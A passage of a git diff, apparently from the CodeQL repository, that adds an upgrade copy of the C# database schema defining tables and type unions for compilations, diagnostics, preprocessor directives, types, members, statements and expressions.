@asp_quoted_string ref); +asp_directive_name( + unique int directive: @asp_directive ref, + string name: string ref); +asp_element_body( + unique int element: @asp_element ref, + string body: string ref); +asp_tag_attribute( + int tag: @asp_open_tag ref, + int index: int ref, + string name: string ref, + int attribute: @asp_attribute ref); +asp_tag_name( + unique int tag: @asp_open_tag ref, + string name: string ref); +asp_tag_isempty(int tag: @asp_open_tag ref); diff --git a/csharp/ql/lib/upgrades/a2bda57dbc6eea94c50128522aae536e8edd5a3c/semmlecode.csharp.dbscheme b/csharp/ql/lib/upgrades/a2bda57dbc6eea94c50128522aae536e8edd5a3c/semmlecode.csharp.dbscheme new file mode 100644 index 00000000000..66044cfa5bb --- /dev/null +++ b/csharp/ql/lib/upgrades/a2bda57dbc6eea94c50128522aae536e8edd5a3c/semmlecode.csharp.dbscheme @@ -0,0 +1,1460 @@ +/* This is a dummy line to alter the dbscheme, so we can make a database upgrade + * without actually changing any of the dbscheme predicates. It contains a date + * to allow for such updates in the future as well. + * + * 2021-07-14 + * + * DO NOT remove this comment carelessly, since it can revert the dbscheme back to a + * previously seen state (matching a previously seen SHA), which would make the upgrade + * mechanism not work properly. + */ + +/** + * An invocation of the compiler. Note that more than one file may be + * compiled per invocation. For example, this command compiles three + * source files: + * + * csc f1.cs f2.cs f3.cs + * + * The `id` simply identifies the invocation, while `cwd` is the working + * directory from which the compiler was invoked. + */ +compilations( + unique int id : @compilation, + string cwd : string ref +); + +compilation_info( + int id : @compilation ref, + string info_key: string ref, + string info_value: string ref +) + +/** + * The arguments that were passed to the extractor for a compiler + * invocation. If `id` is for the compiler invocation + * + * csc f1.cs f2.cs f3.cs + * + * then typically there will be rows for + * + * num | arg + * --- | --- + * 0 | --compiler + * 1 | *path to compiler* + * 2 | f1.cs + * 3 | f2.cs + * 4 | f3.cs + */ +#keyset[id, num] +compilation_args( + int id : @compilation ref, + int num : int ref, + string arg : string ref +); + +/** + * The expanded arguments that were passed to the extractor for a + * compiler invocation. This is similar to `compilation_args`, but + * for a `@someFile.rsp` argument, it includes the arguments from that + * file, rather than just taking the argument literally. + */ +#keyset[id, num] +compilation_expanded_args( + int id : @compilation ref, + int num : int ref, + string arg : string ref +); + +/** + * The source files that are compiled by a compiler invocation. + * If `id` is for the compiler invocation + * + * csc f1.cs f2.cs f3.cs + * + * then there will be rows for + * + * num | arg + * --- | --- + * 0 | f1.cs + * 1 | f2.cs + * 2 | f3.cs + */ +#keyset[id, num] +compilation_compiling_files( + int id : @compilation ref, + int num : int ref, + int file : @file ref +); + +/** + * The references used by a compiler invocation. + * If `id` is for the compiler invocation + * + * csc f1.cs f2.cs f3.cs /r:ref1.dll /r:ref2.dll /r:ref3.dll + * + * then there will be rows for + * + * num | arg + * --- | --- + * 0 | ref1.dll + * 1 | ref2.dll + * 2 | ref3.dll + */ +#keyset[id, num] +compilation_referencing_files( + int id : @compilation ref, + int num : int ref, + int file : @file ref +); + +/** + * The time taken by the extractor for a compiler invocation. + * + * For each file `num`, there will be rows for + * + * kind | seconds + * ---- | --- + * 1 | CPU seconds used by the extractor frontend + * 2 | Elapsed seconds during the extractor frontend + * 3 | CPU seconds used by the extractor backend + * 4 | Elapsed seconds during the extractor backend + */ +#keyset[id, num, kind] +compilation_time( + int id : @compilation ref, + int num : int ref, + /* kind: + 1 = frontend_cpu_seconds + 2 = frontend_elapsed_seconds + 3 = extractor_cpu_seconds + 4 = extractor_elapsed_seconds + */ + int kind : int ref, + float seconds : float ref +); + +/** + * An error or warning generated by the extractor. + * The diagnostic message `diagnostic` was generated during compiler + * invocation `compilation`, and is the `file_number_diagnostic_number`th + * message generated while extracting the `file_number`th file of that + * invocation. + */ +#keyset[compilation, file_number, file_number_diagnostic_number] +diagnostic_for( + unique int diagnostic : @diagnostic ref, + int compilation : @compilation ref, + int file_number : int ref, + int file_number_diagnostic_number : int ref +); + +diagnostics( + unique int id: @diagnostic, + int severity: int ref, + string error_tag: string ref, + string error_message: string ref, + string full_error_message: string ref, + int location: @location ref +); + +extractor_messages( + unique int id: @extractor_message, + int severity: int ref, + string origin : string ref, + string text : string ref, + string entity : string ref, + int location: @location ref, + string stack_trace : string ref +); + +/** + * If extraction was successful, then `cpu_seconds` and + * `elapsed_seconds` are the CPU time and elapsed time (respectively) + * that extraction took for compiler invocation `id`. + */ +compilation_finished( + unique int id : @compilation ref, + float cpu_seconds : float ref, + float elapsed_seconds : float ref +); + +compilation_assembly( + unique int id : @compilation ref, + int assembly: @assembly ref +) + +// Populated by the CSV extractor +externalData( + int id: @externalDataElement, + string path: string ref, + int column: int ref, + string value: string ref); + +sourceLocationPrefix( + string prefix: string ref); + +/* + * C# dbscheme + */ + +/** ELEMENTS **/ + +@element = @declaration | @stmt | @expr | @modifier | @attribute | @namespace_declaration + | @using_directive | @type_parameter_constraints | @externalDataElement + | @xmllocatable | @asp_element | @namespace | @preprocessor_directive; + +@declaration = @callable | @generic | @assignable | @namespace; + +@named_element = @namespace | @declaration; + +@declaration_with_accessors = @property | @indexer | @event; + +@assignable = @variable | @assignable_with_accessors | @event; + +@assignable_with_accessors = @property | @indexer; + +@attributable = @assembly | @field | @parameter | @operator | @method | @constructor + | @destructor | @callable_accessor | @value_or_ref_type | @declaration_with_accessors + | @local_function | @lambda_expr; + +/** LOCATIONS, ASEMMBLIES, MODULES, FILES and FOLDERS **/ + +@location = @location_default | @assembly; + +locations_default( + unique int id: @location_default, + int file: @file ref, + int beginLine: int ref, + int beginColumn: int ref, + int endLine: int ref, + int endColumn: int ref); + +locations_mapped( + unique int id: @location_default ref, + int mapped_to: @location_default ref); + +@sourceline = @file | @callable | @xmllocatable; + +numlines( + int element_id: @sourceline ref, + int num_lines: int ref, + int num_code: int ref, + int num_comment: int ref); + +assemblies( + unique int id: @assembly, + int file: @file ref, + string fullname: string ref, + string name: string ref, + string version: string ref); + +files( + unique int id: @file, + string name: string ref); + +folders( + unique int id: @folder, + string name: string ref); + +@container = @folder | @file ; + +containerparent( + int parent: @container ref, + unique int child: @container ref); + +file_extraction_mode( + unique int file: @file ref, + int mode: int ref + /* 0 = normal, 1 = standalone extractor */ + ); + +/** NAMESPACES **/ + +@type_container = @namespace | @type; + +namespaces( + unique int id: @namespace, + string name: string ref); + +namespace_declarations( + unique int id: @namespace_declaration, + int namespace_id: @namespace ref); + +namespace_declaration_location( + unique int id: @namespace_declaration ref, + int loc: @location ref); + +parent_namespace( + unique int child_id: @type_container ref, + int namespace_id: @namespace ref); + +@declaration_or_directive = @namespace_declaration | @type | @using_directive; + +parent_namespace_declaration( + int child_id: @declaration_or_directive ref, // cannot be unique because of partial classes + int namespace_id: @namespace_declaration ref); + +@using_directive = @using_namespace_directive | @using_static_directive; + +using_global( + unique int id: @using_directive ref +); + +using_namespace_directives( + unique int id: @using_namespace_directive, + int namespace_id: @namespace ref); + +using_static_directives( + unique int id: @using_static_directive, + int type_id: @type_or_ref ref); + +using_directive_location( + unique int id: @using_directive ref, + int loc: @location ref); + +@preprocessor_directive = @pragma_warning | @pragma_checksum | @directive_define | @directive_undefine | @directive_warning + | @directive_error | @directive_nullable | @directive_line | @directive_region | @directive_endregion | @directive_if + | @directive_elif | @directive_else | @directive_endif; + +@conditional_directive = @directive_if | @directive_elif; +@branch_directive = @directive_if | @directive_elif | @directive_else; + +directive_ifs( + unique int id: @directive_if, + int branchTaken: int ref, /* 0: false, 1: true */ + int conditionValue: int ref); /* 0: false, 1: true */ + +directive_elifs( + unique int id: @directive_elif, + int branchTaken: int ref, /* 0: false, 1: true */ + int conditionValue: int ref, /* 0: false, 1: true */ + int parent: @directive_if ref, + int index: int ref); + +directive_elses( + unique int id: @directive_else, + int branchTaken: int ref, /* 0: false, 1: true */ + int parent: @directive_if ref, + int index: int ref); + +#keyset[id, start] +directive_endifs( + unique int id: @directive_endif, + unique int start: @directive_if ref); + +directive_define_symbols( + unique int id: @define_symbol_expr ref, + string name: string ref); + +directive_regions( + unique int id: @directive_region, + string name: string ref); + +#keyset[id, start] +directive_endregions( + unique int id: @directive_endregion, + unique int start: @directive_region ref); + +directive_lines( + unique int id: @directive_line, + int kind: int ref); /* 0: default, 1: hidden, 2: numeric, 3: span */ + +directive_line_value( + unique int id: @directive_line ref, + int line: int ref); + +directive_line_file( + unique int id: @directive_line ref, + int file: @file ref); + +directive_line_offset( + unique int id: @directive_line ref, + int offset: int ref); + +directive_line_span( + unique int id: @directive_line ref, + int startLine: int ref, + int startColumn: int ref, + int endLine: int ref, + int endColumn: int ref); + +directive_nullables( + unique int id: @directive_nullable, + int setting: int ref, /* 0: disable, 1: enable, 2: restore */ + int target: int ref); /* 0: none, 1: annotations, 2: warnings */ + +directive_warnings( + unique int id: @directive_warning, + string message: string ref); + +directive_errors( + unique int id: @directive_error, + string message: string ref); + +directive_undefines( + unique int id: @directive_undefine, + string name: string ref); + +directive_defines( + unique int id: @directive_define, + string name: string ref); + +pragma_checksums( + unique int id: @pragma_checksum, + int file: @file ref, + string guid: string ref, + string bytes: string ref); + +pragma_warnings( + unique int id: @pragma_warning, + int kind: int ref /* 0 = disable, 1 = restore */); + +#keyset[id, index] +pragma_warning_error_codes( + int id: @pragma_warning ref, + string errorCode: string ref, + int index: int ref); + +preprocessor_directive_location( + unique int id: @preprocessor_directive ref, + int loc: @location ref); + +preprocessor_directive_compilation( + int id: @preprocessor_directive ref, + int compilation: @compilation ref); + +preprocessor_directive_active( + unique int id: @preprocessor_directive ref, + int active: int ref); /* 0: false, 1: true */ + +/** TYPES **/ + +types( + unique int id: @type, + int kind: int ref, + string name: string ref); + +case @type.kind of + 1 = @bool_type +| 2 = @char_type +| 3 = @decimal_type +| 4 = @sbyte_type +| 5 = @short_type +| 6 = @int_type +| 7 = @long_type +| 8 = @byte_type +| 9 = @ushort_type +| 10 = @uint_type +| 11 = @ulong_type +| 12 = @float_type +| 13 = @double_type +| 14 = @enum_type +| 15 = @struct_type +| 17 = @class_type +| 19 = @interface_type +| 20 = @delegate_type +| 21 = @null_type +| 22 = @type_parameter +| 23 = @pointer_type +| 24 = @nullable_type +| 25 = @array_type +| 26 = @void_type +| 27 = @int_ptr_type +| 28 = @uint_ptr_type +| 29 = @dynamic_type +| 30 = @arglist_type +| 31 = @unknown_type +| 32 = @tuple_type +| 33 = @function_pointer_type +| 34 = @inline_array_type + ; + +@simple_type = @bool_type | @char_type | @integral_type | @floating_point_type | @decimal_type; +@integral_type = @signed_integral_type | @unsigned_integral_type; +@signed_integral_type = @sbyte_type | @short_type | @int_type | @long_type; +@unsigned_integral_type = @byte_type | @ushort_type | @uint_type | @ulong_type; +@floating_point_type = @float_type | @double_type; +@value_type = @simple_type | @enum_type | @struct_type | @nullable_type | @int_ptr_type + | @uint_ptr_type | @tuple_type | @void_type | @inline_array_type; +@ref_type = @class_type | @interface_type | @array_type | @delegate_type | @null_type + | @dynamic_type; +@value_or_ref_type = @value_type | @ref_type; + +typerefs( + unique int id: @typeref, + string name: string ref); + +typeref_type( + int id: @typeref ref, + unique int typeId: @type ref); + +@type_or_ref = @type | @typeref; + +array_element_type( + unique int array: @array_type ref, + int dimension: int ref, + int rank: int ref, + int element: @type_or_ref ref); + +nullable_underlying_type( + unique int nullable: @nullable_type ref, + int underlying: @type_or_ref ref); + +pointer_referent_type( + unique int pointer: @pointer_type ref, + int referent: @type_or_ref ref); + +enum_underlying_type( + unique int enum_id: @enum_type ref, + int underlying_type_id: @type_or_ref ref); + +delegate_return_type( + unique int delegate_id: @delegate_type ref, + int return_type_id: @type_or_ref ref); + +function_pointer_return_type( + unique int function_pointer_id: @function_pointer_type ref, + int return_type_id: @type_or_ref ref); + +extend( + int sub: @type ref, + int super: @type_or_ref ref); + +anonymous_types( + unique int id: @type ref); + +@interface_or_ref = @interface_type | @typeref; + +implement( + int sub: @type ref, + int super: @type_or_ref ref); + +type_location( + int id: @type ref, + int loc: @location ref); + +tuple_underlying_type( + unique int tuple: @tuple_type ref, + int struct: @type_or_ref ref); + +#keyset[tuple, index] +tuple_element( + int tuple: @tuple_type ref, + int index: int ref, + unique int field: @field ref); + +attributes( + unique int id: @attribute, + int kind: int ref, + int type_id: @type_or_ref ref, + int target: @attributable ref); + +case @attribute.kind of + 0 = @attribute_default +| 1 = @attribute_return +| 2 = @attribute_assembly +| 3 = @attribute_module +; + +attribute_location( + int id: @attribute ref, + int loc: @location ref); + +@type_mention_parent = @element | @type_mention; + +type_mention( + unique int id: @type_mention, + int type_id: @type_or_ref ref, + int parent: @type_mention_parent ref); + +type_mention_location( + unique int id: @type_mention ref, + int loc: @location ref); + +@has_type_annotation = @assignable | @type_parameter | @callable | @expr | @delegate_type | @generic | @function_pointer_type; + +/** + * A direct annotation on an entity, for example `string? x;`. + * + * Annotations: + * 2 = reftype is not annotated "!" + * 3 = reftype is annotated "?" + * 4 = readonly ref type / in parameter + * 5 = ref type parameter, return or local variable + * 6 = out parameter + * + * Note that the annotation depends on the element it annotates. + * @assignable: The annotation is on the type of the assignable, for example the variable type. + * @type_parameter: The annotation is on the reftype constraint + * @callable: The annotation is on the return type + * @array_type: The annotation is on the element type + */ +type_annotation(int id: @has_type_annotation ref, int annotation: int ref); + +nullability(unique int nullability: @nullability, int kind: int ref); + +case @nullability.kind of + 0 = @oblivious +| 1 = @not_annotated +| 2 = @annotated +; + +#keyset[parent, index] +nullability_parent(int nullability: @nullability ref, int index: int ref, int parent: @nullability ref) + +type_nullability(int id: @has_type_annotation ref, int nullability: @nullability ref); + +/** + * The nullable flow state of an expression, as determined by Roslyn. + * 0 = none (default, not populated) + * 1 = not null + * 2 = maybe null + */ +expr_flowstate(unique int id: @expr ref, int state: int ref); + +/** GENERICS **/ + +@generic = @type | @method | @local_function; + +type_parameters( + unique int id: @type_parameter ref, + int index: int ref, + int generic_id: @generic ref, + int variance: int ref /* none = 0, out = 1, in = 2 */); + +#keyset[constructed_id, index] +type_arguments( + int id: @type_or_ref ref, + int index: int ref, + int constructed_id: @generic_or_ref ref); + +@generic_or_ref = @generic | @typeref; + +constructed_generic( + unique int constructed: @generic ref, + int generic: @generic_or_ref ref); + +type_parameter_constraints( + unique int id: @type_parameter_constraints, + int param_id: @type_parameter ref); + +type_parameter_constraints_location( + int id: @type_parameter_constraints ref, + int loc: @location ref); + +general_type_parameter_constraints( + int id: @type_parameter_constraints ref, + int kind: int ref /* class = 1, struct = 2, new = 3 */); + +specific_type_parameter_constraints( + int id: @type_parameter_constraints ref, + int base_id: @type_or_ref ref); + +specific_type_parameter_nullability( + int id: @type_parameter_constraints ref, + int base_id: @type_or_ref ref, + int nullability: @nullability ref); + +/** FUNCTION POINTERS */ + +function_pointer_calling_conventions( + int id: @function_pointer_type ref, + int kind: int ref); + +#keyset[id, index] +has_unmanaged_calling_conventions( + int id: @function_pointer_type ref, + int index: int ref, + int conv_id: @type_or_ref ref); + +/** MODIFIERS */ + +@modifiable = @modifiable_direct | @event_accessor; + +@modifiable_direct = @member | @accessor | @local_function | @anonymous_function_expr; + +modifiers( + unique int id: @modifier, + string name: string ref); + +has_modifiers( + int id: @modifiable_direct ref, + int mod_id: @modifier ref); + +/** MEMBERS **/ + +@member = @method | @constructor | @destructor | @field | @property | @event | @operator | @indexer | @type; + +@named_exprorstmt = @goto_stmt | @labeled_stmt | @expr; + +@virtualizable = @method | @property | @indexer | @event | @operator; + +exprorstmt_name( + unique int parent_id: @named_exprorstmt ref, + string name: string ref); + +nested_types( + unique int id: @type ref, + int declaring_type_id: @type ref, + int unbound_id: @type ref); + +properties( + unique int id: @property, + string name: string ref, + int declaring_type_id: @type ref, + int type_id: @type_or_ref ref, + int unbound_id: @property ref); + +property_location( + int id: @property ref, + int loc: @location ref); + +indexers( + unique int id: @indexer, + string name: string ref, + int declaring_type_id: @type ref, + int type_id: @type_or_ref ref, + int unbound_id: @indexer ref); + +indexer_location( + int id: @indexer ref, + int loc: @location ref); + +accessors( + unique int id: @accessor, + int kind: int ref, + string name: string ref, + int declaring_member_id: @member ref, + int unbound_id: @accessor ref); + +case @accessor.kind of + 1 = @getter +| 2 = @setter + ; + +init_only_accessors( + unique int id: @accessor ref); + +accessor_location( + int id: @accessor ref, + int loc: @location ref); + +events( + unique int id: @event, + string name: string ref, + int declaring_type_id: @type ref, + int type_id: @type_or_ref ref, + int unbound_id: @event ref); + +event_location( + int id: @event ref, + int loc: @location ref); + +event_accessors( + unique int id: @event_accessor, + int kind: int ref, + string name: string ref, + int declaring_event_id: @event ref, + int unbound_id: @event_accessor ref); + +case @event_accessor.kind of + 1 = @add_event_accessor +| 2 = @remove_event_accessor + ; + +event_accessor_location( + int id: @event_accessor ref, + int loc: @location ref); + +operators( + unique int id: @operator, + string name: string ref, + string symbol: string ref, + int declaring_type_id: @type ref, + int type_id: @type_or_ref ref, + int unbound_id: @operator ref); + +operator_location( + int id: @operator ref, + int loc: @location ref); + +constant_value( + int id: @variable ref, + string value: string ref); + +/** CALLABLES **/ + +@callable = @method | @constructor | @destructor | @operator | @callable_accessor | @anonymous_function_expr | @local_function; + +@callable_accessor = @accessor | @event_accessor; + +methods( + unique int id: @method, + string name: string ref, + int declaring_type_id: @type ref, + int type_id: @type_or_ref ref, + int unbound_id: @method ref); + +method_location( + int id: @method ref, + int loc: @location ref); + +constructors( + unique int id: @constructor, + string name: string ref, + int declaring_type_id: @type ref, + int unbound_id: @constructor ref); + +constructor_location( + int id: @constructor ref, + int loc: @location ref); + +destructors( + unique int id: @destructor, + string name: string ref, + int declaring_type_id: @type ref, + int unbound_id: @destructor ref); + +destructor_location( + int id: @destructor ref, + int loc: @location ref); + +overrides( + int id: @callable ref, + int base_id: @callable ref); + +explicitly_implements( + int id: @member ref, + int interface_id: @interface_or_ref ref); + +local_functions( + unique int id: @local_function, + string name: string ref, + int return_type: @type ref, + int unbound_id: @local_function ref); + +local_function_stmts( + unique int fn: @local_function_stmt ref, + int stmt: @local_function ref); + +/** VARIABLES **/ + +@variable = @local_scope_variable | @field; + +@local_scope_variable = @local_variable | @parameter; + +fields( + unique int id: @field, + int kind: int ref, + string name: string ref, + int declaring_type_id: @type ref, + int type_id: @type_or_ref ref, + int unbound_id: @field ref); + +case @field.kind of + 1 = @addressable_field +| 2 = @constant + ; + +field_location( + int id: @field ref, + int loc: @location ref); + +localvars( + unique int id: @local_variable, + int kind: int ref, + string name: string ref, + int implicitly_typed: int ref /* 0 = no, 1 = yes */, + int type_id: @type_or_ref ref, + int parent_id: @local_var_decl_expr ref); + +case @local_variable.kind of + 1 = @addressable_local_variable +| 2 = @local_constant +| 3 = @local_variable_ref + ; + +localvar_location( + unique int id: @local_variable ref, + int loc: @location ref); + +@parameterizable = @callable | @delegate_type | @indexer | @function_pointer_type; + +#keyset[name, parent_id] +#keyset[index, parent_id] +params( + unique int id: @parameter, + string name: string ref, + int type_id: @type_or_ref ref, + int index: int ref, + int mode: int ref, /* value = 0, ref = 1, out = 2, params/array = 3, this = 4, in = 5, ref readonly = 6 */ + int parent_id: @parameterizable ref, + int unbound_id: @parameter ref); + +param_location( + int id: @parameter ref, + int loc: @location ref); + +@has_scoped_annotation = @local_scope_variable + +scoped_annotation( + int id: @has_scoped_annotation ref, + int kind: int ref // scoped ref = 1, scoped value = 2 + ); + +/** STATEMENTS **/ + +@exprorstmt_parent = @control_flow_element | @top_level_exprorstmt_parent; + +statements( + unique int id: @stmt, + int kind: int ref); + +#keyset[index, parent] +stmt_parent( + unique int stmt: @stmt ref, + int index: int ref, + int parent: @control_flow_element ref); + +@top_level_stmt_parent = @callable; + +// [index, parent] is not a keyset because the same parent may be compiled multiple times +stmt_parent_top_level( + unique int stmt: @stmt ref, + int index: int ref, + int parent: @top_level_stmt_parent ref); + +case @stmt.kind of + 1 = @block_stmt +| 2 = @expr_stmt +| 3 = @if_stmt +| 4 = @switch_stmt +| 5 = @while_stmt +| 6 = @do_stmt +| 7 = @for_stmt +| 8 = @foreach_stmt +| 9 = @break_stmt +| 10 = @continue_stmt +| 11 = @goto_stmt +| 12 = @goto_case_stmt +| 13 = @goto_default_stmt +| 14 = @throw_stmt +| 15 = @return_stmt +| 16 = @yield_stmt +| 17 = @try_stmt +| 18 = @checked_stmt +| 19 = @unchecked_stmt +| 20 = @lock_stmt +| 21 = @using_block_stmt +| 22 = @var_decl_stmt +| 23 = @const_decl_stmt +| 24 = @empty_stmt +| 25 = @unsafe_stmt +| 26 = @fixed_stmt +| 27 = @label_stmt +| 28 = @catch +| 29 = @case_stmt +| 30 = @local_function_stmt +| 31 = @using_decl_stmt + ; + +@using_stmt = @using_block_stmt | @using_decl_stmt; + +@labeled_stmt = @label_stmt | @case; + +@decl_stmt = @var_decl_stmt | @const_decl_stmt | @using_decl_stmt; + +@cond_stmt = @if_stmt | @switch_stmt; + +@loop_stmt = @while_stmt | @do_stmt | @for_stmt | @foreach_stmt; + +@jump_stmt = @break_stmt | @goto_any_stmt | @continue_stmt | @throw_stmt | @return_stmt + | @yield_stmt; + +@goto_any_stmt = @goto_default_stmt | @goto_case_stmt | @goto_stmt; + + +stmt_location( + unique int id: @stmt ref, + int loc: @location ref); + +catch_type( + unique int catch_id: @catch ref, + int type_id: @type_or_ref ref, + int kind: int ref /* explicit = 1, implicit = 2 */); + +foreach_stmt_info( + unique int id: @foreach_stmt ref, + int kind: int ref /* non-async = 1, async = 2 */); + +@foreach_symbol = @method | @property | @type_or_ref; + +#keyset[id, kind] +foreach_stmt_desugar( + int id: @foreach_stmt ref, + int symbol: @foreach_symbol ref, + int kind: int ref /* GetEnumeratorMethod = 1, CurrentProperty = 2, MoveNextMethod = 3, DisposeMethod = 4, ElementType = 5 */); + +/** EXPRESSIONS **/ + +expressions( + unique int id: @expr, + int kind: int ref, + int type_id: @type_or_ref ref); + +#keyset[index, parent] +expr_parent( + unique int expr: @expr ref, + int index: int ref, + int parent: @control_flow_element ref); + +@top_level_expr_parent = @attribute | @field | @property | @indexer | @parameter | @directive_if | @directive_elif; + +@top_level_exprorstmt_parent = @top_level_expr_parent | @top_level_stmt_parent; + +// [index, parent] is not a keyset because the same parent may be compiled multiple times +expr_parent_top_level( + unique int expr: @expr ref, + int index: int ref, + int parent: @top_level_exprorstmt_parent ref); + +case @expr.kind of +/* literal */ + 1 = @bool_literal_expr +| 2 = @char_literal_expr +| 3 = @decimal_literal_expr +| 4 = @int_literal_expr +| 5 = @long_literal_expr +| 6 = @uint_literal_expr +| 7 = @ulong_literal_expr +| 8 = @float_literal_expr +| 9 = @double_literal_expr +| 10 = @utf16_string_literal_expr +| 11 = @null_literal_expr +/* primary & unary */ +| 12 = @this_access_expr +| 13 = @base_access_expr +| 14 = @local_variable_access_expr +| 15 = @parameter_access_expr +| 16 = @field_access_expr +| 17 = @property_access_expr +| 18 = @method_access_expr +| 19 = @event_access_expr +| 20 = @indexer_access_expr +| 21 = @array_access_expr +| 22 = @type_access_expr +| 23 = @typeof_expr +| 24 = @method_invocation_expr +| 25 = @delegate_invocation_expr +| 26 = @operator_invocation_expr +| 27 = @cast_expr +| 28 = @object_creation_expr +| 29 = @explicit_delegate_creation_expr +| 30 = @implicit_delegate_creation_expr +| 31 = @array_creation_expr +| 32 = @default_expr +| 33 = @plus_expr +| 34 = @minus_expr +| 35 = @bit_not_expr +| 36 = @log_not_expr +| 37 = @post_incr_expr +| 38 = @post_decr_expr +| 39 = @pre_incr_expr +| 40 = @pre_decr_expr +/* multiplicative */ +| 41 = @mul_expr +| 42 = @div_expr +| 43 = @rem_expr +/* additive */ +| 44 = @add_expr +| 45 = @sub_expr +/* shift */ +| 46 = @lshift_expr +| 47 = @rshift_expr +/* relational */ +| 48 = @lt_expr +| 49 = @gt_expr +| 50 = @le_expr +| 51 = @ge_expr +/* equality */ +| 52 = @eq_expr +| 53 = @ne_expr +/* logical */ +| 54 = @bit_and_expr +| 55 = @bit_xor_expr +| 56 = @bit_or_expr +| 57 = @log_and_expr +| 58 = @log_or_expr +/* type testing */ +| 59 = @is_expr +| 60 = @as_expr +/* null coalescing */ +| 61 = @null_coalescing_expr +/* conditional */ +| 62 = @conditional_expr +/* assignment */ +| 63 = @simple_assign_expr +| 64 = @assign_add_expr +| 65 = @assign_sub_expr +| 66 = @assign_mul_expr +| 67 = @assign_div_expr +| 68 = @assign_rem_expr +| 69 = @assign_and_expr +| 70 = @assign_xor_expr +| 71 = @assign_or_expr +| 72 = @assign_lshift_expr +| 73 = @assign_rshift_expr +/* more */ +| 74 = @object_init_expr +| 75 = @collection_init_expr +| 76 = @array_init_expr +| 77 = @checked_expr +| 78 = @unchecked_expr +| 79 = @constructor_init_expr +| 80 = @add_event_expr +| 81 = @remove_event_expr +| 82 = @par_expr +| 83 = @local_var_decl_expr +| 84 = @lambda_expr +| 85 = @anonymous_method_expr +| 86 = @namespace_expr +/* dynamic */ +| 92 = @dynamic_element_access_expr +| 93 = @dynamic_member_access_expr +/* unsafe */ +| 100 = @pointer_indirection_expr +| 101 = @address_of_expr +| 102 = @sizeof_expr +/* async */ +| 103 = @await_expr +/* C# 6.0 */ +| 104 = @nameof_expr +| 105 = @interpolated_string_expr +| 106 = @unknown_expr +/* C# 7.0 */ +| 107 = @throw_expr +| 108 = @tuple_expr +| 109 = @local_function_invocation_expr +| 110 = @ref_expr +| 111 = @discard_expr +/* C# 8.0 */ +| 112 = @range_expr +| 113 = @index_expr +| 114 = @switch_expr +| 115 = @recursive_pattern_expr +| 116 = @property_pattern_expr +| 117 = @positional_pattern_expr +| 118 = @switch_case_expr +| 119 = @assign_coalesce_expr +| 120 = @suppress_nullable_warning_expr +| 121 = @namespace_access_expr +/* C# 9.0 */ +| 122 = @lt_pattern_expr +| 123 = @gt_pattern_expr +| 124 = @le_pattern_expr +| 125 = @ge_pattern_expr +| 126 = @not_pattern_expr +| 127 = @and_pattern_expr +| 128 = @or_pattern_expr +| 129 = @function_pointer_invocation_expr +| 130 = @with_expr +/* C# 11.0 */ +| 131 = @list_pattern_expr +| 132 = @slice_pattern_expr +| 133 = @urshift_expr +| 134 = @assign_urshift_expr +| 135 = @utf8_string_literal_expr +/* C# 12.0 */ +| 136 = @collection_expr +| 137 = @spread_element_expr +| 138 = @interpolated_string_insert_expr +/* Preprocessor */ +| 999 = @define_symbol_expr +; + +@switch = @switch_stmt | @switch_expr; +@case = @case_stmt | @switch_case_expr; +@pattern_match = @case | @is_expr; +@unary_pattern_expr = @not_pattern_expr; +@relational_pattern_expr = @gt_pattern_expr | @lt_pattern_expr | @ge_pattern_expr | @le_pattern_expr; +@binary_pattern_expr = @and_pattern_expr | @or_pattern_expr; + +@integer_literal_expr = @int_literal_expr | @long_literal_expr | @uint_literal_expr | @ulong_literal_expr; +@real_literal_expr = @float_literal_expr | @double_literal_expr | @decimal_literal_expr; +@string_literal_expr = @utf16_string_literal_expr | @utf8_string_literal_expr; +@literal_expr = @bool_literal_expr | @char_literal_expr | @integer_literal_expr | @real_literal_expr + | @string_literal_expr | @null_literal_expr; + +@assign_expr = @simple_assign_expr | @assign_op_expr | @local_var_decl_expr; +@assign_op_expr = @assign_arith_expr | @assign_bitwise_expr | @assign_event_expr | @assign_coalesce_expr; +@assign_event_expr = @add_event_expr | @remove_event_expr; + +@assign_arith_expr = @assign_add_expr | @assign_sub_expr | @assign_mul_expr | @assign_div_expr + | @assign_rem_expr +@assign_bitwise_expr = @assign_and_expr | @assign_or_expr | @assign_xor_expr + | @assign_lshift_expr | @assign_rshift_expr | @assign_urshift_expr; + +@member_access_expr = @field_access_expr | @property_access_expr | @indexer_access_expr | @event_access_expr + | @method_access_expr | @type_access_expr | @dynamic_member_access_expr; +@access_expr = @member_access_expr | @this_access_expr | @base_access_expr | @assignable_access_expr | @namespace_access_expr; +@element_access_expr = @indexer_access_expr | @array_access_expr | @dynamic_element_access_expr; + +@local_variable_access = @local_variable_access_expr | @local_var_decl_expr; +@local_scope_variable_access_expr = @parameter_access_expr | @local_variable_access; +@variable_access_expr = @local_scope_variable_access_expr | @field_access_expr; + +@assignable_access_expr = @variable_access_expr | @property_access_expr | @element_access_expr + | @event_access_expr | @dynamic_member_access_expr; + +@objectorcollection_init_expr = @object_init_expr | @collection_init_expr; + +@delegate_creation_expr = @explicit_delegate_creation_expr | @implicit_delegate_creation_expr; + +@bin_arith_op_expr = @mul_expr | @div_expr | @rem_expr | @add_expr | @sub_expr; +@incr_op_expr = @pre_incr_expr | @post_incr_expr; +@decr_op_expr = @pre_decr_expr | @post_decr_expr; +@mut_op_expr = @incr_op_expr | @decr_op_expr; +@un_arith_op_expr = @plus_expr | @minus_expr | @mut_op_expr; +@arith_op_expr = @bin_arith_op_expr | @un_arith_op_expr; + +@ternary_log_op_expr = @conditional_expr; +@bin_log_op_expr = @log_and_expr | @log_or_expr | @null_coalescing_expr; +@un_log_op_expr = @log_not_expr; +@log_expr = @un_log_op_expr | @bin_log_op_expr | @ternary_log_op_expr; + +@bin_bit_op_expr = @bit_and_expr | @bit_or_expr | @bit_xor_expr | @lshift_expr + | @rshift_expr | @urshift_expr; +@un_bit_op_expr = @bit_not_expr; +@bit_expr = @un_bit_op_expr | @bin_bit_op_expr; + +@equality_op_expr = @eq_expr | @ne_expr; +@rel_op_expr = @gt_expr | @lt_expr| @ge_expr | @le_expr; +@comp_expr = @equality_op_expr | @rel_op_expr; + +@op_expr = @assign_expr | @un_op | @bin_op | @ternary_op; + +@ternary_op = @ternary_log_op_expr; +@bin_op = @bin_arith_op_expr | @bin_log_op_expr | @bin_bit_op_expr | @comp_expr; +@un_op = @un_arith_op_expr | @un_log_op_expr | @un_bit_op_expr | @sizeof_expr + | @pointer_indirection_expr | @address_of_expr; + +@anonymous_function_expr = @lambda_expr | @anonymous_method_expr; + +@call = @method_invocation_expr | @constructor_init_expr | @operator_invocation_expr + | @delegate_invocation_expr | @object_creation_expr | 